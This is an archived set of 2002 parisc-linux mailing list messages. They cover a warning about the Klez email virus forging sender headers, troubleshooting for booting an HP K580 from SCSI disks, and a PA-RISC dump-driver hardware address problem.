National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Timothy Ball <timball@tux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [OT] klez virus
Date: Tue, 3 Sep 2002 17:03:22 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20020903210322.GN21005@gwyn.tux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621679 13292 80.91.229.3 (22 Nov 2014 02:01:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:19 +0000 (UTC)
To: parics Linux Mailing List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  3 15:03:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gwyn.tux.org (gwyn.tux.org [207.96.1.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B7B24829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Sep 2002 15:03:24 -0600 (MDT)
Original-Received: (from timball@localhost)
	by gwyn.tux.org (8.9.3/8.9.1) id RAA08584
	for parisc-linux@lists.parisc-linux.org; Tue, 3 Sep 2002 17:03:22 -0400
Content-Disposition: inline
User-Agent: Mutt/1.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16005

So it seems that a couple of people on this list have been hit w/ this
little stupid windows virus. Not that it's actually possible for anyone
running linux, but the virus is sneaky and likes to forge "From:"
lines...

So here's a little thing I've prepared to help people on list figure out
what they have to do:

--snip--snip--snip--
Both you and I have been targeted by the klez virus, it is a virus that
fakes email "From:" headers to mask the true origin of what computer actually
sent you the virus. I assure you that there is very little way *I* could have
this virus. The virus targets microsoft outlook users and internet explorer 
users, and since I use linux there is very little chance that the virus 
came from me.

Read more about the virus at and how it infects and spreads at (the jmu 
article geared towards students is probably the best): 

http://www.jmu.edu/computing/security/info/klez.shtml
http://www.wired.com/news/technology/0,1282,52174,00.html
http://www.messagelabs.com/viruseye/

The jmu article will explain how to best track down who actually sent 
you a copy of the virus. Once the actual person responsible for infection 
is found they can use the freely available klez virus remover from symantec:

http://securityresponse.symantec.com/avcenter/venc/data/w32.klez.removal.tool.html

It's not me, it's the virus.

--timball
--snip--snip--snip--


-- 
	GPG key available on pgpkeys.mit.edu
pub  1024D/511FBD54 2001-07-23 Timothy Lu Hu Ball <timball@tux.org>
Key fingerprint = B579 29B0 F6C8 C7AA 3840  E053 FE02 BB97 511F BD54


From - Thu Nov 08 21:24:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve.Grady@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] IPL Boot Parameters [Originally SCSI Disks on a K5
	80 Help Required]
Date: Wed, 4 Sep 2002 11:02:34 +1000
Lines: 225
Approved: news@gmane.org
Message-ID: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCCC@wing-ep.tip.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621680 13293 80.91.229.3 (22 Nov 2014 02:01:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  3 19:02:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from crux.tip.CSIRO.AU (crux.tip.CSIRO.AU [130.155.194.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76DF44829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Sep 2002 19:02:46 -0600 (MDT)
Original-Received: (from daemon@localhost)
	by crux.tip.CSIRO.AU (8.9.3/8.9.3/TIPAT-1.2a) id LAA20475
	for <parisc-linux@lists.parisc-linux.org>; Wed, 4 Sep 2002 11:02:44 +1000 (EST)
Original-Received: from wing-ep.tip.CSIRO.AU(130.155.192.114)
 via SMTP by crux.tip.CSIRO.AU, id smtpdAAAa20467; Wed Sep  4 11:02:36 2002
Original-Received: by wing-ep.tip.csiro.au with Internet Mail Service (5.5.2656.59)
	id <SD1MN9C9>; Wed, 4 Sep 2002 11:02:35 +1000
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16006


I have been trying to load debian 3.0 onto my K580 and going around in
circles.

My problem is that I only have disks available that will work on the Single
ended SCSI bus.
The Ultra Wide bus, as has been pointed out previously, is HVD not LVD and I
do not have HVD drives
and they are not easily obtainable at a reasonable price here in Australia.

The PDC will not recognise HD's on the SE bus it will scan them but IMHO the
firmware is set to only
recognise  and use the CD and the DDS-3 tape drive. The kernel, booted from
the CD, will recognise the HD
on the SE bus and will load Linux onto the drive but at reboot time I cannot
find the drive.

It was previously suggested that I boot from the tape which I can do using
the following Lif image
lifimage-2.4.18-pa59-PDC-20020728 but this brings me back to the debian
startup screen for HD initialisation
not the script to setup the system (password and extra packages etc).

I have been going around in circles playing with the IPL boot parameters (
like specifying root=/dev/sds3 deleting initrd etc) trying to get it to
continue setup but unsuccessfully.

Does anyone know, using the above LIF image, what IPL boot parameters to
specify to get it to continue an installation on /dev/sda3 root file system.
Or else what do I load on the tape drive ?

Any help would be appreciated or else I will have to get a HVD SCSI drive.

Thanks,


Steve Grady



> 
> --- Steve.Grady@csiro.au wrote:
> > 
> > 
> > > -----Original Message-----
> > > From: Averell Eisner [mailto:a_eisner@eisner.com]
> > > Sent: Monday, 26 August 2002 8:27 AM
> > > To: Steve.Grady@csiro.au
> > > Cc: parisc-linux@lists.parisc-linux.org
> > > Subject: Re: [parisc-linux] SCSI Disks on a K580 Help Required
> > > 
> > > 
> > > Possible issues:
> > > 
> > > "First try." The internal disk drives in the K580 are fast wide 
> > > differential. The differential is high voltage differential, not
> > low 
> > > voltage differential. Could be that the Maxtor 4.5GB UW is 
> > > the wrong type.
> > 
> > 
> > Well I hope I have not damaged the drive
> > 
> > 
> > > 
> > > "Second try." The normal cable in the K580 that goes to the 
> > > tape and CD 
> > > only has two open scsi connections plus the terminator. One 
> > > connection 
> > > for tape, another for the CD. Did you substitute another 
> cable with
> > a 
> > > third open scsi connection?
> > 
> > 
> > Yes I substituted another cable (It did not come with any cables,
> > they were
> > removed with the drive)
> > It was properly terminated by an external terminator. As I 
> said after
> > boot
> > from the CD a drive on the
> > single ended bus was detected ( and the CD and Tape) by the kernel
> > but was
> > not detected by boot.
> > 
> > It has been suggested by someone else (they did not reply to list)
> > that I
> > boot from CD which seems to me
> > the easiest work-around.
> > 
> > Thank for the assistance,
> > 
> > 
> > Steve Grady
> > 
> > > 
> > > Just guessing.
> > > 
> > > Averell
> > > Steve.Grady@csiro.au wrote:
> > > 
> > > > Hi,
> > > > 
> > > > I got my hands on a K580 Quad processors, 4G Ram, CD, DDS3 
> > > Tape drive,
> > > > 2 Fibre Channels on HSC, Dual 100BaseT network 
> connectors on HSC,
> > > > FW SCSI on HSC and 2 SCSI interface on HPPB (OK I know the 
> > > HPPB is not
> > > > supported)
> > > > but no hard disks.
> > > > 
> > > > Previously I have installed PA-Linux on a 735/125.
> > > > 
> > > > I am trying to install 
> > > palinux-2.4.18-pa59-ppc-20020728-netinstall image on
> > > > the K580
> > > > I am using a variety of SCSI disks I am trying to install 
> > > to but I am having
> > > > problems.
> > > > 
> > > > The disks are being installed internally on the K580. I 
> > > have downloaded the
> > > > users guide
> > > > from docs.hp.com.
> > > > 
> > > > First Try
> > > > 
> > > > I installed Tape and CD to Single ended bus of the Disk 
> > > cage and install a
> > > > Maxtor Altas II
> > > > 4.5G UW to ultra wide bus of Disk Cage and yes the cable 
> > > was terminated.
> > > > 
> > > > The boot process found the CD, DDS3 but not the disk. I 
> > > could boot from CD
> > > > but the installer 
> > > > complained about on disk.
> > > > 
> > > > Second Try
> > > > 
> > > > I installed Tape and CD to Single ended bus of the Disk 
> > > cage and install a
> > > > Seagate
> > > > 2.1G SE to SE bus of Disk Cage in parallel with the CD and Tape.
> > > > 
> > > > The boot process found the CD, DDS3 but not the disk. I 
> > > could boot from CD
> > > > but the installer 
> > > > found the disk CD and Tape. I installed to disk and at 
> > > reboot boot could not
> > > > find the disk
> > > > only the tape and the CD.
> > > > 
> > > > All other trys
> > > > 
> > > > I have tried various combinations but have not succeed in 
> > > get the boot to
> > > > recognised the
> > > > hard disk. I cannot get Pa-linux to recognised the Ultra 
> > > Wide bus which
> > > > leaves me to question
> > > > whether it is supported or do I have a hardware problem.
> > > > 
> > > > The Boot reports through its Search for Boot devices 
> > > function that it finds
> > > > 
> > > > The 2 FC devices
> > > > the Lan (which I assume is the 10BaseT on the Core IO not 
> > > the 100BaseT)
> > > > a sequential device (Tape Drive)
> > > > a random device (CD)
> > > > 
> > > > The primary boot device at present seems to me to be set up 
> > > for the Fibre
> > > > Channel
> > > > (I think the I am not used to the addressing).
> > > > 
> > > > I have thought of Rboot or tftboot the K580 from the 
> > > 735 and then the
> > > > kernel will
> > > > recognise the disk. But this is not useful in the long 
> > > term as I may get
> > > > rid of the 735
> > > > and my Intel box which is my main server as I want to make 
> > > the K580 my main
> > > > server.
> > > > 
> > > > Any help or suggestions would be appreciated,
> > > > 
> > > > 
> > > > Steve Grady
> > > > 
> > > > BTW Thanks for a great port my little 735 just sits there 
> > > and works (mostly
> > > > running SETI)
> > > > _______________________________________________
> > > > parisc-linux mailing list
> > > > parisc-linux@lists.parisc-linux.org
> > > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > > > 
> > > > 
> > > 
> > > 
> > > -- 
> > > Averell
> > > 
> > > Eisner Associates, Inc.			Phone: 908-233-6585
> > > 516 North Ave. East			FAX:   908-233-0710
> > > P.O. Box 2489
> > > Westfield, NJ 07090
> > > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Finance - Get real-time stock quotes
> http://finance.yahoo.com
> 


From - Thu Nov 08 21:24:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] IPL Boot Parameters [Originally SCSI Disks on a K580 Help Required]
Date: Wed, 4 Sep 2002 04:23:14 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <001301c253ba$06b20e30$0100a8c0@PLUTO>
References: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCCC@wing-ep.tip.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621680 13297 80.91.229.3 (22 Nov 2014 02:01:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:20 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  3 20:23:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom.kundenserver.de (moutvdom.kundenserver.de [195.20.224.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA0094829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Sep 2002 20:23:20 -0600 (MDT)
Original-Received: from [195.20.224.214] (helo=mrvdomng2.kundenserver.de)
	by moutvdomng3.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17mPp4-0001k3-00
	for parisc-linux@lists.parisc-linux.org; Wed, 04 Sep 2002 04:23:14 +0200
Original-Received: from [217.227.240.110] (helo=PLUTO)
	by mrvdomng2.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17mPp3-0004Wf-00
	for parisc-linux@lists.parisc-linux.org; Wed, 04 Sep 2002 04:23:13 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
In-Reply-To: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCCC@wing-ep.tip.csiro.au>
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16007

> My problem is that I only have disks available that 
> will work on the Single ended SCSI bus.

Where did the original hard disk that came with the machine go?

Maybe you can get a small UW SCSI hard disk cheap from eBay or something
like that and use it for the root partition only. A few hundred MB's
would suffice.

Cheers,
Tobias



From - Thu Nov 08 21:24:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve.Grady@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] IPL Boot Parameters [Originally SCSI Disks on 
	a K580 Help Required]
Date: Wed, 4 Sep 2002 12:37:50 +1000
Lines: 50
Approved: news@gmane.org
Message-ID: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCCE@wing-ep.tip.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621680 13298 80.91.229.3 (22 Nov 2014 02:01:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: tobias_subscriber@tgtools.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  3 20:38:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from crux.tip.CSIRO.AU (crux.tip.CSIRO.AU [130.155.194.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AE224829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Sep 2002 20:38:06 -0600 (MDT)
Original-Received: (from daemon@localhost)
	by crux.tip.CSIRO.AU (8.9.3/8.9.3/TIPAT-1.2a) id MAA25762;
	Wed, 4 Sep 2002 12:38:00 +1000 (EST)
Original-Received: from wing-ep.tip.CSIRO.AU(130.155.192.114)
 via SMTP by crux.tip.CSIRO.AU, id smtpdAAAa25749; Wed Sep  4 12:37:51 2002
Original-Received: by wing-ep.tip.csiro.au with Internet Mail Service (5.5.2656.59)
	id <SD1MN9MW>; Wed, 4 Sep 2002 12:37:51 +1000
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16008


> -----Original Message-----
> From: Tobias Giesen [mailto:tobias_subscriber@tgtools.com]
> Sent: Wednesday, 4 September 2002 12:23 PM
> To: parisc-linux@lists.parisc-linux.org
> Subject: RE: [parisc-linux] IPL Boot Parameters [Originally SCSI Disks
> on a K580 Help Required]
> 
> 
> > My problem is that I only have disks available that 
> > will work on the Single ended SCSI bus.
> 
> Where did the original hard disk that came with the machine go?

I bought the K580 without it I have approached the guy I bought it from to
see if I
can purchase the drive but he has not followed it up yet.

I have looked on ebay but HVD UW SCSI disks are rare most are SCSI-3 LVD/SE
disks
and HVD is not compatible with LVD except by a translator which costs about
$1.5K AUD which
was more than I paid for the K580.

I know I should be able to boot from the tape (maybe I am a masochist) I
think this is my best shot
until I can find a HVD disk, if I can work out to tell the system how.

Thanks,


Steve Grady



> 
> Maybe you can get a small UW SCSI hard disk cheap from eBay 
> or something
> like that and use it for the root partition only. A few hundred MB's
> would suffice.
> 
> Cheers,
> Tobias
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


From - Thu Nov 08 21:24:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iodc call and HPMC: dump driver.
Date: Tue, 03 Sep 2002 18:24:18 +0200
Organization: H.P
Lines: 44
Approved: news@gmane.org
Message-ID: <3D74E232.88B62E31@admin.france.hp.com>
References: <3D73014A.15ED96ED@admin.france.hp.com> <20020903045049.E268F4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------9FA0B36E1D5BF1A98D31930A"
X-Trace: ger.gmane.org 1416621681 13302 80.91.229.3 (22 Nov 2014 02:01:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  3 22:13:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F96B4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Sep 2002 22:13:17 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 92F14CB0
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Sep 2002 18:31:28 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id SAA14636 for <parisc-linux@lists.parisc-linux.org>; Tue, 3 Sep 2002 18:29:54 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16009

This is a multi-part message in MIME format.
--------------9FA0B36E1D5BF1A98D31930A
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I'm really surprised, I take a look at HPMC trace, and I was really
surprised of the faulty address. So I try to write on console.
And I m really surprised by the result:
PAGE0->mem_cons.hpa: 0x2000
PAGE0->mem_boot.hpa: 0x900
PAGE0->mem_kbd.hpa: 0xffffffff 

It is not good at all !!! It seems to be completly wrong hpa !!!!
The good one for mem_boot.hpa must be: 0xfffffffffed30000 (in my case
according to dmesg and mapio). But the system has boot,
so it was correct a few time ago. I'll retry by using my own
hpa and I'll don't trust anymore PAGE0.

	Bye.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------9FA0B36E1D5BF1A98D31930A
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------9FA0B36E1D5BF1A98D31930A--



From - Thu Nov 08 21:24:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IPL Boot Parameters [Originally SCSI Disks on a K580 Help Required]
Date: Tue, 03 Sep 2002 22:41:09 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20020904044110.0AF234829@dsl2.external.hp.com>
References: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCCE@wing-ep.tip.csiro.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621681 13305 80.91.229.3 (22 Nov 2014 02:01:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve.Grady@csiro.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  3 22:41:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 0AF234829; Tue,  3 Sep 2002 22:41:10 -0600 (MDT)
In-Reply-To: Message from Steve.Grady@csiro.au 
   of "Wed, 04 Sep 2002 12:37:50 +1000." <49AA3A3C863E5B4C911320AEF99E5DA3010CCCCE@wing-ep.tip.csiro.au> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16010

Steve.Grady@csiro.au wrote:
> and HVD is not compatible with LVD except by a translator which costs
> about $1.5K AUD which was more than I paid for the K580.

I didn't believe you until I found:
http://members.ozemail.com.au/~jwk200/images/paralan -SRP pricelist 2002.pdf

You might try to order HDs here:
	http://www.weirdstuff.com/

They've got "Compaq" C2490A and "HP" C2490-60062 (both 2.1GB) for $40.
You want "C2490WD" model - just like Seagate drives have "WD" for HVD.

Or the ST32550WD for $22 seems like a winner:
http://liquidationetc.safeshopper.com/32/15179.htm?103

grant


From - Thu Nov 08 21:24:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iodc call and HPMC: dump driver.
Date: Tue, 03 Sep 2002 22:53:37 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <20020904045337.1B9894829@dsl2.external.hp.com>
References: <3D73014A.15ED96ED@admin.france.hp.com> <20020903045049.E268F4829@dsl2.external.hp.com>  <3D74E232.88B62E31@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621681 13307 80.91.229.3 (22 Nov 2014 02:01:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  3 22:53:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1B9894829; Tue,  3 Sep 2002 22:53:37 -0600 (MDT)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Tue, 03 Sep 2002 18:24:18 +0200." <3D74E232.88B62E31@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
